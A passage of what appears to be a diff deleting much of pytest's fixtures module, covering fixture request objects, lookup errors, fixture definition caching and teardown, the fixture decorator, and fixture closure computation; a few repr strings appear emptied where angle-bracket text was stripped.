{self.scope}-scoped context" - ) - return self._pyfuncitem.obj - - @property - def cls(self): - """Class (can be None) where the test function was collected.""" - if self.scope not in ("class", "function"): - raise AttributeError(f"cls not available in {self.scope}-scoped context") - clscol = self._pyfuncitem.getparent(_pytest.python.Class) - if clscol: - return clscol.obj - - @property - def instance(self): - """Instance (can be None) on which test function was collected.""" - if self.scope != "function": - return None - return getattr(self._pyfuncitem, "instance", None) - - @property - def module(self): - """Python module object where the test function was collected.""" - if self.scope not in ("function", "class", "module"): - raise AttributeError(f"module not available in {self.scope}-scoped context") - mod = self._pyfuncitem.getparent(_pytest.python.Module) - assert mod is not None - return mod.obj - - @property - def path(self) -> Path: - """Path where the test function was collected.""" - if self.scope not in ("function", "class", "module", "package"): - raise AttributeError(f"path not available in {self.scope}-scoped context") - return self._pyfuncitem.path - - @property - def keywords(self) -> MutableMapping[str, Any]: - """Keywords/markers dictionary for the underlying node.""" - node: nodes.Node = self.node - return node.keywords - - @property - def session(self) -> Session: - """Pytest session object.""" - return self._pyfuncitem.session - - @abc.abstractmethod - def addfinalizer(self, finalizer: Callable[[], object]) -> None: - """Add finalizer/teardown function to be called without arguments after - the last test within the requesting test context finished execution.""" - raise NotImplementedError() - - def applymarker(self, marker: str | MarkDecorator) -> None: - """Apply a marker to a single test function invocation. - - This method is useful if you don't want to have a keyword/marker - on all function invocations. - - :param marker: - An object created by a call to ``pytest.mark.NAME(...)``. - """ - self.node.add_marker(marker) - - def raiseerror(self, msg: str | None) -> NoReturn: - """Raise a FixtureLookupError exception. - - :param msg: - An optional custom error message. - """ - raise FixtureLookupError(None, self, msg) - - def getfixturevalue(self, argname: str) -> Any: - """Dynamically run a named fixture function. - - Declaring fixtures via function argument is recommended where possible. - But if you can only decide whether to use another fixture at test - setup time, you may use this function to retrieve it inside a fixture - or test function body. - - This method can be used during the test setup phase or the test run - phase, but during the test teardown phase a fixture's value may not - be available. - - :param argname: - The fixture name. - :raises pytest.FixtureLookupError: - If the given fixture could not be found. - """ - # Note that in addition to the use case described in the docstring, - # getfixturevalue() is also called by pytest itself during item and fixture - # setup to evaluate the fixtures that are requested statically - # (using function parameters, autouse, etc). - - fixturedef = self._get_active_fixturedef(argname) - assert fixturedef.cached_result is not None, ( - f'The fixture value for "{argname}" is not available. ' - "This can happen when the fixture has already been torn down." - ) - return fixturedef.cached_result[0] - - def _iter_chain(self) -> Iterator[SubRequest]: - """Yield all SubRequests in the chain, from self up. - - Note: does *not* yield the TopRequest. - """ - current = self - while isinstance(current, SubRequest): - yield current - current = current._parent_request - - def _get_active_fixturedef( - self, argname: str - ) -> FixtureDef[object] | PseudoFixtureDef[object]: - if argname == "request": - cached_result = (self, [0], None) - return PseudoFixtureDef(cached_result, Scope.Function) - - # If we already finished computing a fixture by this name in this item, - # return it. - fixturedef = self._fixture_defs.get(argname) - if fixturedef is not None: - self._check_scope(fixturedef, fixturedef._scope) - return fixturedef - - # Find the appropriate fixturedef. - fixturedefs = self._arg2fixturedefs.get(argname, None) - if fixturedefs is None: - # We arrive here because of a dynamic call to - # getfixturevalue(argname) which was naturally - # not known at parsing/collection time. - fixturedefs = self._fixturemanager.getfixturedefs(argname, self._pyfuncitem) - if fixturedefs is not None: - self._arg2fixturedefs[argname] = fixturedefs - # No fixtures defined with this name. - if fixturedefs is None: - raise FixtureLookupError(argname, self) - # The are no fixtures with this name applicable for the function. - if not fixturedefs: - raise FixtureLookupError(argname, self) - # A fixture may override another fixture with the same name, e.g. a - # fixture in a module can override a fixture in a conftest, a fixture in - # a class can override a fixture in the module, and so on. - # An overriding fixture can request its own name (possibly indirectly); - # in this case it gets the value of the fixture it overrides, one level - # up. - # Check how many `argname`s deep we are, and take the next one. - # `fixturedefs` is sorted from furthest to closest, so use negative - # indexing to go in reverse. - index = -1 - for request in self._iter_chain(): - if request.fixturename == argname: - index -= 1 - # If already consumed all of the available levels, fail. - if -index > len(fixturedefs): - raise FixtureLookupError(argname, self) - fixturedef = fixturedefs[index] - - # Prepare a SubRequest object for calling the fixture. - try: - callspec = self._pyfuncitem.callspec - except AttributeError: - callspec = None - if callspec is not None and argname in callspec.params: - param = callspec.params[argname] - param_index = callspec.indices[argname] - # The parametrize invocation scope overrides the fixture's scope. - scope = callspec._arg2scope[argname] - else: - param = NOTSET - param_index = 0 - scope = fixturedef._scope - self._check_fixturedef_without_param(fixturedef) - self._check_scope(fixturedef, scope) - subrequest = SubRequest( - self, scope, param, param_index, fixturedef, _ispytest=True - ) - - # Make sure the fixture value is cached, running it if it isn't - fixturedef.execute(request=subrequest) - - self._fixture_defs[argname] = fixturedef - return fixturedef - - def _check_fixturedef_without_param(self, fixturedef: FixtureDef[object]) -> None: - """Check that this request is allowed to execute this fixturedef without - a param.""" - funcitem = self._pyfuncitem - has_params = fixturedef.params is not None - fixtures_not_supported = getattr(funcitem, "nofuncargs", False) - if has_params and fixtures_not_supported: - msg = ( - f"{funcitem.name} does not support fixtures, maybe unittest.TestCase subclass?\n" - f"Node id: {funcitem.nodeid}\n" - f"Function type: {type(funcitem).__name__}" - ) - fail(msg, pytrace=False) - if has_params: - frame = inspect.stack()[3] - frameinfo = inspect.getframeinfo(frame[0]) - source_path = absolutepath(frameinfo.filename) - source_lineno = frameinfo.lineno - try: - source_path_str = str(source_path.relative_to(funcitem.config.rootpath)) - except ValueError: - source_path_str = str(source_path) - location = getlocation(fixturedef.func, funcitem.config.rootpath) - msg = ( - "The requested fixture has no parameter defined for test:\n" - f" {funcitem.nodeid}\n\n" - f"Requested fixture '{fixturedef.argname}' defined in:\n" - f"{location}\n\n" - f"Requested here:\n" - f"{source_path_str}:{source_lineno}" - ) - fail(msg, pytrace=False) - - def _get_fixturestack(self) -> list[FixtureDef[Any]]: - values = [request._fixturedef for request in self._iter_chain()] - values.reverse() - return values - - -@final -class TopRequest(FixtureRequest): - """The type of the ``request`` fixture in a test function.""" - - def __init__(self, pyfuncitem: Function, *, _ispytest: bool = False) -> None: - super().__init__( - fixturename=None, - pyfuncitem=pyfuncitem, - arg2fixturedefs=pyfuncitem._fixtureinfo.name2fixturedefs.copy(), - fixture_defs={}, - _ispytest=_ispytest, - ) - - @property - def _scope(self) -> Scope: - return Scope.Function - - def _check_scope( - self, - requested_fixturedef: FixtureDef[object] | PseudoFixtureDef[object], - requested_scope: Scope, - ) -> None: - # TopRequest always has function scope so always valid. - pass - - @property - def node(self): - return self._pyfuncitem - - def __repr__(self) -> str: - return f"" - - def _fillfixtures(self) -> None: - item = self._pyfuncitem - for argname in item.fixturenames: - if argname not in item.funcargs: - item.funcargs[argname] = self.getfixturevalue(argname) - - def addfinalizer(self, finalizer: Callable[[], object]) -> None: - self.node.addfinalizer(finalizer) - - -@final -class SubRequest(FixtureRequest): - """The type of the ``request`` fixture in a fixture function requested - (transitively) by a test function.""" - - def __init__( - self, - request: FixtureRequest, - scope: Scope, - param: Any, - param_index: int, - fixturedef: FixtureDef[object], - *, - _ispytest: bool = False, - ) -> None: - super().__init__( - pyfuncitem=request._pyfuncitem, - fixturename=fixturedef.argname, - fixture_defs=request._fixture_defs, - arg2fixturedefs=request._arg2fixturedefs, - _ispytest=_ispytest, - ) - self._parent_request: Final[FixtureRequest] = request - self._scope_field: Final = scope - self._fixturedef: Final[FixtureDef[object]] = fixturedef - if param is not NOTSET: - self.param = param - self.param_index: Final = param_index - - def __repr__(self) -> str: - return f"" - - @property - def _scope(self) -> Scope: - return self._scope_field - - @property - def node(self): - scope = self._scope - if scope is Scope.Function: - # This might also be a non-function Item despite its attribute name. - node: nodes.Node | None = self._pyfuncitem - elif scope is Scope.Package: - node = get_scope_package(self._pyfuncitem, self._fixturedef) - else: - node = get_scope_node(self._pyfuncitem, scope) - if node is None and scope is Scope.Class: - # Fallback to function item itself. - node = self._pyfuncitem - assert node, f'Could not obtain a node for scope "{scope}" for function {self._pyfuncitem!r}' - return node - - def _check_scope( - self, - requested_fixturedef: FixtureDef[object] | PseudoFixtureDef[object], - requested_scope: Scope, - ) -> None: - if isinstance(requested_fixturedef, PseudoFixtureDef): - return - if self._scope > requested_scope: - # Try to report something helpful. - argname = requested_fixturedef.argname - fixture_stack = "\n".join( - self._format_fixturedef_line(fixturedef) - for fixturedef in self._get_fixturestack() - ) - requested_fixture = self._format_fixturedef_line(requested_fixturedef) - fail( - f"ScopeMismatch: You tried to access the {requested_scope.value} scoped " - f"fixture {argname} with a {self._scope.value} scoped request object. " - f"Requesting fixture stack:\n{fixture_stack}\n" - f"Requested fixture:\n{requested_fixture}", - pytrace=False, - ) - - def _format_fixturedef_line(self, fixturedef: FixtureDef[object]) -> str: - factory = fixturedef.func - path, lineno = getfslineno(factory) - if isinstance(path, Path): - path = bestrelpath(self._pyfuncitem.session.path, path) - signature = inspect.signature(factory) - return f"{path}:{lineno + 1}: def {factory.__name__}{signature}" - - def addfinalizer(self, finalizer: Callable[[], object]) -> None: - self._fixturedef.addfinalizer(finalizer) - - -@final -class FixtureLookupError(LookupError): - """Could not return a requested fixture (missing or invalid).""" - - def __init__( - self, argname: str | None, request: FixtureRequest, msg: str | None = None - ) -> None: - self.argname = argname - self.request = request - self.fixturestack = request._get_fixturestack() - self.msg = msg - - def formatrepr(self) -> FixtureLookupErrorRepr: - tblines: list[str] = [] - addline = tblines.append - stack = [self.request._pyfuncitem.obj] - stack.extend(map(lambda x: x.func, self.fixturestack)) - msg = self.msg - if msg is not None: - # The last fixture raise an error, let's present - # it at the requesting side. - stack = stack[:-1] - for function in stack: - fspath, lineno = getfslineno(function) - try: - lines, _ = inspect.getsourcelines(get_real_func(function)) - except (OSError, IndexError, TypeError): - error_msg = "file %s, line %s: source code not available" - addline(error_msg % (fspath, lineno + 1)) - else: - addline(f"file {fspath}, line {lineno + 1}") - for i, line in enumerate(lines): - line = line.rstrip() - addline(" " + line) - if line.lstrip().startswith("def"): - break - - if msg is None: - fm = self.request._fixturemanager - available = set() - parent = self.request._pyfuncitem.parent - assert parent is not None - for name, fixturedefs in fm._arg2fixturedefs.items(): - faclist = list(fm._matchfactories(fixturedefs, parent)) - if faclist: - available.add(name) - if self.argname in available: - msg = ( - f" recursive dependency involving fixture '{self.argname}' detected" - ) - else: - msg = f"fixture '{self.argname}' not found" - msg += "\n available fixtures: {}".format(", ".join(sorted(available))) - msg += "\n use 'pytest --fixtures [testpath]' for help on them." - - return FixtureLookupErrorRepr(fspath, lineno, tblines, msg, self.argname) - - -class FixtureLookupErrorRepr(TerminalRepr): - def __init__( - self, - filename: str | os.PathLike[str], - firstlineno: int, - tblines: Sequence[str], - errorstring: str, - argname: str | None, - ) -> None: - self.tblines = tblines - self.errorstring = errorstring - self.filename = filename - self.firstlineno = firstlineno - self.argname = argname - - def toterminal(self, tw: TerminalWriter) -> None: - # tw.line("FixtureLookupError: %s" %(self.argname), red=True) - for tbline in self.tblines: - tw.line(tbline.rstrip()) - lines = self.errorstring.split("\n") - if lines: - tw.line( - f"{FormattedExcinfo.fail_marker} {lines[0].strip()}", - red=True, - ) - for line in lines[1:]: - tw.line( - f"{FormattedExcinfo.flow_marker} {line.strip()}", - red=True, - ) - tw.line() - tw.line("%s:%d" % (os.fspath(self.filename), self.firstlineno + 1)) - - -def call_fixture_func( - fixturefunc: _FixtureFunc[FixtureValue], request: FixtureRequest, kwargs -) -> FixtureValue: - if is_generator(fixturefunc): - fixturefunc = cast( - Callable[..., Generator[FixtureValue, None, None]], fixturefunc - ) - generator = fixturefunc(**kwargs) - try: - fixture_result = next(generator) - except StopIteration: - raise ValueError(f"{request.fixturename} did not yield a value") from None - finalizer = functools.partial(_teardown_yield_fixture, fixturefunc, generator) - request.addfinalizer(finalizer) - else: - fixturefunc = cast(Callable[..., FixtureValue], fixturefunc) - fixture_result = fixturefunc(**kwargs) - return fixture_result - - -def _teardown_yield_fixture(fixturefunc, it) -> None: - """Execute the teardown of a fixture function by advancing the iterator - after the yield and ensure the iteration ends (if not it means there is - more than one yield in the function).""" - try: - next(it) - except StopIteration: - pass - else: - fs, lineno = getfslineno(fixturefunc) - fail( - f"fixture function has more than one 'yield':\n\n" - f"{Source(fixturefunc).indent()}\n" - f"{fs}:{lineno + 1}", - pytrace=False, - ) - - -def _eval_scope_callable( - scope_callable: Callable[[str, Config], _ScopeName], - fixture_name: str, - config: Config, -) -> _ScopeName: - try: - # Type ignored because there is no typing mechanism to specify - # keyword arguments, currently. - result = scope_callable(fixture_name=fixture_name, config=config) # type: ignore[call-arg] - except Exception as e: - raise TypeError( - f"Error evaluating {scope_callable} while defining fixture '{fixture_name}'.\n" - "Expected a function with the signature (*, fixture_name, config)" - ) from e - if not isinstance(result, str): - fail( - f"Expected {scope_callable} to return a 'str' while defining fixture '{fixture_name}', but it returned:\n" - f"{result!r}", - pytrace=False, - ) - return result - - -@final -class FixtureDef(Generic[FixtureValue]): - """A container for a fixture definition. - - Note: At this time, only explicitly documented fields and methods are - considered public stable API. - """ - - def __init__( - self, - config: Config, - baseid: str | None, - argname: str, - func: _FixtureFunc[FixtureValue], - scope: Scope | _ScopeName | Callable[[str, Config], _ScopeName] | None, - params: Sequence[object] | None, - ids: tuple[object | None, ...] | Callable[[Any], object | None] | None = None, - *, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - # The "base" node ID for the fixture. - # - # This is a node ID prefix. A fixture is only available to a node (e.g. - # a `Function` item) if the fixture's baseid is a nodeid of a parent of - # node. - # - # For a fixture found in a Collector's object (e.g. a `Module`s module, - # a `Class`'s class), the baseid is the Collector's nodeid. - # - # For a fixture found in a conftest plugin, the baseid is the conftest's - # directory path relative to the rootdir. - # - # For other plugins, the baseid is the empty string (always matches). - self.baseid: Final = baseid or "" - # Whether the fixture was found from a node or a conftest in the - # collection tree. Will be false for fixtures defined in non-conftest - # plugins. - self.has_location: Final = baseid is not None - # The fixture factory function. - self.func: Final = func - # The name by which the fixture may be requested. - self.argname: Final = argname - if scope is None: - scope = Scope.Function - elif callable(scope): - scope = _eval_scope_callable(scope, argname, config) - if isinstance(scope, str): - scope = Scope.from_user( - scope, descr=f"Fixture '{func.__name__}'", where=baseid - ) - self._scope: Final = scope - # If the fixture is directly parametrized, the parameter values. - self.params: Final = params - # If the fixture is directly parametrized, a tuple of explicit IDs to - # assign to the parameter values, or a callable to generate an ID given - # a parameter value. - self.ids: Final = ids - # The names requested by the fixtures. - self.argnames: Final = getfuncargnames(func, name=argname) - # If the fixture was executed, the current value of the fixture. - # Can change if the fixture is executed with different parameters. - self.cached_result: _FixtureCachedResult[FixtureValue] | None = None - self._finalizers: Final[list[Callable[[], object]]] = [] - - @property - def scope(self) -> _ScopeName: - """Scope string, one of "function", "class", "module", "package", "session".""" - return self._scope.value - - def addfinalizer(self, finalizer: Callable[[], object]) -> None: - self._finalizers.append(finalizer) - - def finish(self, request: SubRequest) -> None: - exceptions: list[BaseException] = [] - while self._finalizers: - fin = self._finalizers.pop() - try: - fin() - except BaseException as e: - exceptions.append(e) - node = request.node - node.ihook.pytest_fixture_post_finalizer(fixturedef=self, request=request) - # Even if finalization fails, we invalidate the cached fixture - # value and remove all finalizers because they may be bound methods - # which will keep instances alive. - self.cached_result = None - self._finalizers.clear() - if len(exceptions) == 1: - raise exceptions[0] - elif len(exceptions) > 1: - msg = f'errors while tearing down fixture "{self.argname}" of {node}' - raise BaseExceptionGroup(msg, exceptions[::-1]) - - def execute(self, request: SubRequest) -> FixtureValue: - """Return the value of this fixture, executing it if not cached.""" - # Ensure that the dependent fixtures requested by this fixture are loaded. - # This needs to be done before checking if we have a cached value, since - # if a dependent fixture has their cache invalidated, e.g. due to - # parametrization, they finalize themselves and fixtures depending on it - # (which will likely include this fixture) setting `self.cached_result = None`. - # See #4871 - requested_fixtures_that_should_finalize_us = [] - for argname in self.argnames: - fixturedef = request._get_active_fixturedef(argname) - # Saves requested fixtures in a list so we later can add our finalizer - # to them, ensuring that if a requested fixture gets torn down we get torn - # down first. This is generally handled by SetupState, but still currently - # needed when this fixture is not parametrized but depends on a parametrized - # fixture. - if not isinstance(fixturedef, PseudoFixtureDef): - requested_fixtures_that_should_finalize_us.append(fixturedef) - - # Check for (and return) cached value/exception. - if self.cached_result is not None: - request_cache_key = self.cache_key(request) - cache_key = self.cached_result[1] - try: - # Attempt to make a normal == check: this might fail for objects - # which do not implement the standard comparison (like numpy arrays -- #6497). - cache_hit = bool(request_cache_key == cache_key) - except (ValueError, RuntimeError): - # If the comparison raises, use 'is' as fallback. - cache_hit = request_cache_key is cache_key - - if cache_hit: - if self.cached_result[2] is not None: - exc, exc_tb = self.cached_result[2] - raise exc.with_traceback(exc_tb) - else: - result = self.cached_result[0] - return result - # We have a previous but differently parametrized fixture instance - # so we need to tear it down before creating a new one. - self.finish(request) - assert self.cached_result is None - - # Add finalizer to requested fixtures we saved previously. - # We make sure to do this after checking for cached value to avoid - # adding our finalizer multiple times. (#12135) - finalizer = functools.partial(self.finish, request=request) - for parent_fixture in requested_fixtures_that_should_finalize_us: - parent_fixture.addfinalizer(finalizer) - - ihook = request.node.ihook - try: - # Setup the fixture, run the code in it, and cache the value - # in self.cached_result - result = ihook.pytest_fixture_setup(fixturedef=self, request=request) - finally: - # schedule our finalizer, even if the setup failed - request.node.addfinalizer(finalizer) - - return result - - def cache_key(self, request: SubRequest) -> object: - return getattr(request, "param", None) - - def __repr__(self) -> str: - return f"" - - -def resolve_fixture_function( - fixturedef: FixtureDef[FixtureValue], request: FixtureRequest -) -> _FixtureFunc[FixtureValue]: - """Get the actual callable that can be called to obtain the fixture - value.""" - fixturefunc = fixturedef.func - # The fixture function needs to be bound to the actual - # request.instance so that code working with "fixturedef" behaves - # as expected. - instance = request.instance - if instance is not None: - # Handle the case where fixture is defined not in a test class, but some other class - # (for example a plugin class with a fixture), see #2270. - if hasattr(fixturefunc, "__self__") and not isinstance( - instance, - fixturefunc.__self__.__class__, - ): - return fixturefunc - fixturefunc = getimfunc(fixturedef.func) - if fixturefunc != fixturedef.func: - fixturefunc = fixturefunc.__get__(instance) - return fixturefunc - - -def pytest_fixture_setup( - fixturedef: FixtureDef[FixtureValue], request: SubRequest -) -> FixtureValue: - """Execution of fixture setup.""" - kwargs = {} - for argname in fixturedef.argnames: - kwargs[argname] = request.getfixturevalue(argname) - - fixturefunc = resolve_fixture_function(fixturedef, request) - my_cache_key = fixturedef.cache_key(request) - try: - result = call_fixture_func(fixturefunc, request, kwargs) - except TEST_OUTCOME as e: - if isinstance(e, skip.Exception): - # The test requested a fixture which caused a skip. - # Don't show the fixture as the skip location, as then the user - # wouldn't know which test skipped. - e._use_item_location = True - fixturedef.cached_result = (None, my_cache_key, (e, e.__traceback__)) - raise - fixturedef.cached_result = (result, my_cache_key, None) - return result - - -def wrap_function_to_error_out_if_called_directly( - function: FixtureFunction, - fixture_marker: FixtureFunctionMarker, -) -> FixtureFunction: - """Wrap the given fixture function so we can raise an error about it being called directly, - instead of used as an argument in a test function.""" - name = fixture_marker.name or function.__name__ - message = ( - f'Fixture "{name}" called directly. Fixtures are not meant to be called directly,\n' - "but are created automatically when test functions request them as parameters.\n" - "See https://docs.pytest.org/en/stable/explanation/fixtures.html for more information about fixtures, and\n" - "https://docs.pytest.org/en/stable/deprecations.html#calling-fixtures-directly about how to update your code." - ) - - @functools.wraps(function) - def result(*args, **kwargs): - fail(message, pytrace=False) - - # Keep reference to the original function in our own custom attribute so we don't unwrap - # further than this point and lose useful wrappings like @mock.patch (#3774). - result.__pytest_wrapped__ = _PytestWrapper(function) # type: ignore[attr-defined] - - return cast(FixtureFunction, result) - - -@final -@dataclasses.dataclass(frozen=True) -class FixtureFunctionMarker: - scope: _ScopeName | Callable[[str, Config], _ScopeName] - params: tuple[object, ...] | None - autouse: bool = False - ids: tuple[object | None, ...] | Callable[[Any], object | None] | None = None - name: str | None = None - - _ispytest: dataclasses.InitVar[bool] = False - - def __post_init__(self, _ispytest: bool) -> None: - check_ispytest(_ispytest) - - def __call__(self, function: FixtureFunction) -> FixtureFunction: - if inspect.isclass(function): - raise ValueError("class fixtures not supported (maybe in the future)") - - if getattr(function, "_pytestfixturefunction", False): - raise ValueError( - f"@pytest.fixture is being applied more than once to the same function {function.__name__!r}" - ) - - if hasattr(function, "pytestmark"): - warnings.warn(MARKED_FIXTURE, stacklevel=2) - - function = wrap_function_to_error_out_if_called_directly(function, self) - - name = self.name or function.__name__ - if name == "request": - location = getlocation(function) - fail( - f"'request' is a reserved word for fixtures, use another name:\n {location}", - pytrace=False, - ) - - # Type ignored because https://github.com/python/mypy/issues/2087. - function._pytestfixturefunction = self # type: ignore[attr-defined] - return function - - -@overload -def fixture( - fixture_function: FixtureFunction, - *, - scope: _ScopeName | Callable[[str, Config], _ScopeName] = ..., - params: Iterable[object] | None = ..., - autouse: bool = ..., - ids: Sequence[object | None] | Callable[[Any], object | None] | None = ..., - name: str | None = ..., -) -> FixtureFunction: ... - - -@overload -def fixture( - fixture_function: None = ..., - *, - scope: _ScopeName | Callable[[str, Config], _ScopeName] = ..., - params: Iterable[object] | None = ..., - autouse: bool = ..., - ids: Sequence[object | None] | Callable[[Any], object | None] | None = ..., - name: str | None = None, -) -> FixtureFunctionMarker: ... - - -def fixture( - fixture_function: FixtureFunction | None = None, - *, - scope: _ScopeName | Callable[[str, Config], _ScopeName] = "function", - params: Iterable[object] | None = None, - autouse: bool = False, - ids: Sequence[object | None] | Callable[[Any], object | None] | None = None, - name: str | None = None, -) -> FixtureFunctionMarker | FixtureFunction: - """Decorator to mark a fixture factory function. - - This decorator can be used, with or without parameters, to define a - fixture function. - - The name of the fixture function can later be referenced to cause its - invocation ahead of running tests: test modules or classes can use the - ``pytest.mark.usefixtures(fixturename)`` marker. - - Test functions can directly use fixture names as input arguments in which - case the fixture instance returned from the fixture function will be - injected. - - Fixtures can provide their values to test functions using ``return`` or - ``yield`` statements. When using ``yield`` the code block after the - ``yield`` statement is executed as teardown code regardless of the test - outcome, and must yield exactly once. - - :param scope: - The scope for which this fixture is shared; one of ``"function"`` - (default), ``"class"``, ``"module"``, ``"package"`` or ``"session"``. - - This parameter may also be a callable which receives ``(fixture_name, config)`` - as parameters, and must return a ``str`` with one of the values mentioned above. - - See :ref:`dynamic scope` in the docs for more information. - - :param params: - An optional list of parameters which will cause multiple invocations - of the fixture function and all of the tests using it. The current - parameter is available in ``request.param``. - - :param autouse: - If True, the fixture func is activated for all tests that can see it. - If False (the default), an explicit reference is needed to activate - the fixture. - - :param ids: - Sequence of ids each corresponding to the params so that they are - part of the test id. If no ids are provided they will be generated - automatically from the params. - - :param name: - The name of the fixture. This defaults to the name of the decorated - function. If a fixture is used in the same module in which it is - defined, the function name of the fixture will be shadowed by the - function arg that requests the fixture; one way to resolve this is to - name the decorated function ``fixture_`` and then use - ``@pytest.fixture(name='')``. - """ - fixture_marker = FixtureFunctionMarker( - scope=scope, - params=tuple(params) if params is not None else None, - autouse=autouse, - ids=None if ids is None else ids if callable(ids) else tuple(ids), - name=name, - _ispytest=True, - ) - - # Direct decoration. - if fixture_function: - return fixture_marker(fixture_function) - - return fixture_marker - - -def yield_fixture( - fixture_function=None, - *args, - scope="function", - params=None, - autouse=False, - ids=None, - name=None, -): - """(Return a) decorator to mark a yield-fixture factory function. - - .. deprecated:: 3.0 - Use :py:func:`pytest.fixture` directly instead. - """ - warnings.warn(YIELD_FIXTURE, stacklevel=2) - return fixture( - fixture_function, - *args, - scope=scope, - params=params, - autouse=autouse, - ids=ids, - name=name, - ) - - -@fixture(scope="session") -def pytestconfig(request: FixtureRequest) -> Config: - """Session-scoped fixture that returns the session's :class:`pytest.Config` - object. - - Example:: - - def test_foo(pytestconfig): - if pytestconfig.getoption("verbose") > 0: - ... - - """ - return request.config - - -def pytest_addoption(parser: Parser) -> None: - parser.addini( - "usefixtures", - type="args", - default=[], - help="List of default fixtures to be used with this project", - ) - group = parser.getgroup("general") - group.addoption( - "--fixtures", - "--funcargs", - action="store_true", - dest="showfixtures", - default=False, - help="Show available fixtures, sorted by plugin appearance " - "(fixtures with leading '_' are only shown with '-v')", - ) - group.addoption( - "--fixtures-per-test", - action="store_true", - dest="show_fixtures_per_test", - default=False, - help="Show fixtures per test", - ) - - -def pytest_cmdline_main(config: Config) -> int | ExitCode | None: - if config.option.showfixtures: - showfixtures(config) - return 0 - if config.option.show_fixtures_per_test: - show_fixtures_per_test(config) - return 0 - return None - - -def _get_direct_parametrize_args(node: nodes.Node) -> set[str]: - """Return all direct parametrization arguments of a node, so we don't - mistake them for fixtures. - - Check https://github.com/pytest-dev/pytest/issues/5036. - - These things are done later as well when dealing with parametrization - so this could be improved. - """ - parametrize_argnames: set[str] = set() - for marker in node.iter_markers(name="parametrize"): - if not marker.kwargs.get("indirect", False): - p_argnames, _ = ParameterSet._parse_parametrize_args( - *marker.args, **marker.kwargs - ) - parametrize_argnames.update(p_argnames) - return parametrize_argnames - - -def deduplicate_names(*seqs: Iterable[str]) -> tuple[str, ...]: - """De-duplicate the sequence of names while keeping the original order.""" - # Ideally we would use a set, but it does not preserve insertion order. - return tuple(dict.fromkeys(name for seq in seqs for name in seq)) - - -class FixtureManager: - """pytest fixture definitions and information is stored and managed - from this class. - - During collection fm.parsefactories() is called multiple times to parse - fixture function definitions into FixtureDef objects and internal - data structures. - - During collection of test functions, metafunc-mechanics instantiate - a FuncFixtureInfo object which is cached per node/func-name. - This FuncFixtureInfo object is later retrieved by Function nodes - which themselves offer a fixturenames attribute. - - The FuncFixtureInfo object holds information about fixtures and FixtureDefs - relevant for a particular function. An initial list of fixtures is - assembled like this: - - - ini-defined usefixtures - - autouse-marked fixtures along the collection chain up from the function - - usefixtures markers at module/class/function level - - test function funcargs - - Subsequently the funcfixtureinfo.fixturenames attribute is computed - as the closure of the fixtures needed to setup the initial fixtures, - i.e. fixtures needed by fixture functions themselves are appended - to the fixturenames list. - - Upon the test-setup phases all fixturenames are instantiated, retrieved - by a lookup of their FuncFixtureInfo. - """ - - def __init__(self, session: Session) -> None: - self.session = session - self.config: Config = session.config - # Maps a fixture name (argname) to all of the FixtureDefs in the test - # suite/plugins defined with this name. Populated by parsefactories(). - # TODO: The order of the FixtureDefs list of each arg is significant, - # explain. - self._arg2fixturedefs: Final[dict[str, list[FixtureDef[Any]]]] = {} - self._holderobjseen: Final[set[object]] = set() - # A mapping from a nodeid to a list of autouse fixtures it defines. - self._nodeid_autousenames: Final[dict[str, list[str]]] = { - "": self.config.getini("usefixtures"), - } - session.config.pluginmanager.register(self, "funcmanage") - - def getfixtureinfo( - self, - node: nodes.Item, - func: Callable[..., object] | None, - cls: type | None, - ) -> FuncFixtureInfo: - """Calculate the :class:`FuncFixtureInfo` for an item. - - If ``func`` is None, or if the item sets an attribute - ``nofuncargs = True``, then ``func`` is not examined at all. - - :param node: - The item requesting the fixtures. - :param func: - The item's function. - :param cls: - If the function is a method, the method's class. - """ - if func is not None and not getattr(node, "nofuncargs", False): - argnames = getfuncargnames(func, name=node.name, cls=cls) - else: - argnames = () - usefixturesnames = self._getusefixturesnames(node) - autousenames = self._getautousenames(node) - initialnames = deduplicate_names(autousenames, usefixturesnames, argnames) - - direct_parametrize_args = _get_direct_parametrize_args(node) - - names_closure, arg2fixturedefs = self.getfixtureclosure( - parentnode=node, - initialnames=initialnames, - ignore_args=direct_parametrize_args, - ) - - return FuncFixtureInfo(argnames, initialnames, names_closure, arg2fixturedefs) - - def pytest_plugin_registered(self, plugin: _PluggyPlugin, plugin_name: str) -> None: - # Fixtures defined in conftest plugins are only visible to within the - # conftest's directory. This is unlike fixtures in non-conftest plugins - # which have global visibility. So for conftests, construct the base - # nodeid from the plugin name (which is the conftest path). - if plugin_name and plugin_name.endswith("conftest.py"): - # Note: we explicitly do *not* use `plugin.__file__` here -- The - # difference is that plugin_name has the correct capitalization on - # case-insensitive systems (Windows) and other normalization issues - # (issue #11816). - conftestpath = absolutepath(plugin_name) - try: - nodeid = str(conftestpath.parent.relative_to(self.config.rootpath)) - except ValueError: - nodeid = "" - if nodeid == ".": - nodeid = "" - if os.sep != nodes.SEP: - nodeid = nodeid.replace(os.sep, nodes.SEP) - else: - nodeid = None - - self.parsefactories(plugin, nodeid) - - def _getautousenames(self, node: nodes.Node) -> Iterator[str]: - """Return the names of autouse fixtures applicable to node.""" - for parentnode in node.listchain(): - basenames = self._nodeid_autousenames.get(parentnode.nodeid) - if basenames: - yield from basenames - - def _getusefixturesnames(self, node: nodes.Item) -> Iterator[str]: - """Return the names of usefixtures fixtures applicable to node.""" - for mark in node.iter_markers(name="usefixtures"): - yield from mark.args - - def getfixtureclosure( - self, - parentnode: nodes.Node, - initialnames: tuple[str, ...], - ignore_args: AbstractSet[str], - ) -> tuple[list[str], dict[str, Sequence[FixtureDef[Any]]]]: - # Collect the closure of all fixtures, starting with the given - # fixturenames as the initial set. As we have to visit all - # factory definitions anyway, we also return an arg2fixturedefs - # mapping so that the caller can reuse it and does not have - # to re-discover fixturedefs again for each fixturename - # (discovering matching fixtures for a given name/node is expensive). - - fixturenames_closure = list(initialnames) - - arg2fixturedefs: dict[str, Sequence[FixtureDef[Any]]] = {} - lastlen = -1 - while lastlen != len(fixturenames_closure): - lastlen = len(fixturenames_closure) - for argname in fixturenames_closure: - if argname in ignore_args: - continue - if argname in arg2fixturedefs: - continue - fixturedefs = self.getfixturedefs(argname, parentnode) - if fixturedefs: - arg2fixturedefs[argname] = fixturedefs - for arg in fixturedefs[-1].argnames: - if arg not in fixturenames_closure: - fixturenames_closure.append(arg) - - def sort_by_scope(arg_name: str) -> Scope: - try: - fixturedefs = arg2fixturedefs[arg_name] - except KeyError: - return Scope.Function - else: - return fixturedefs[-1]._scope - - fixturenames_closure.sort(key=sort_by_scope, reverse=True) - return fixturenames_closure, arg2fixturedefs - - def 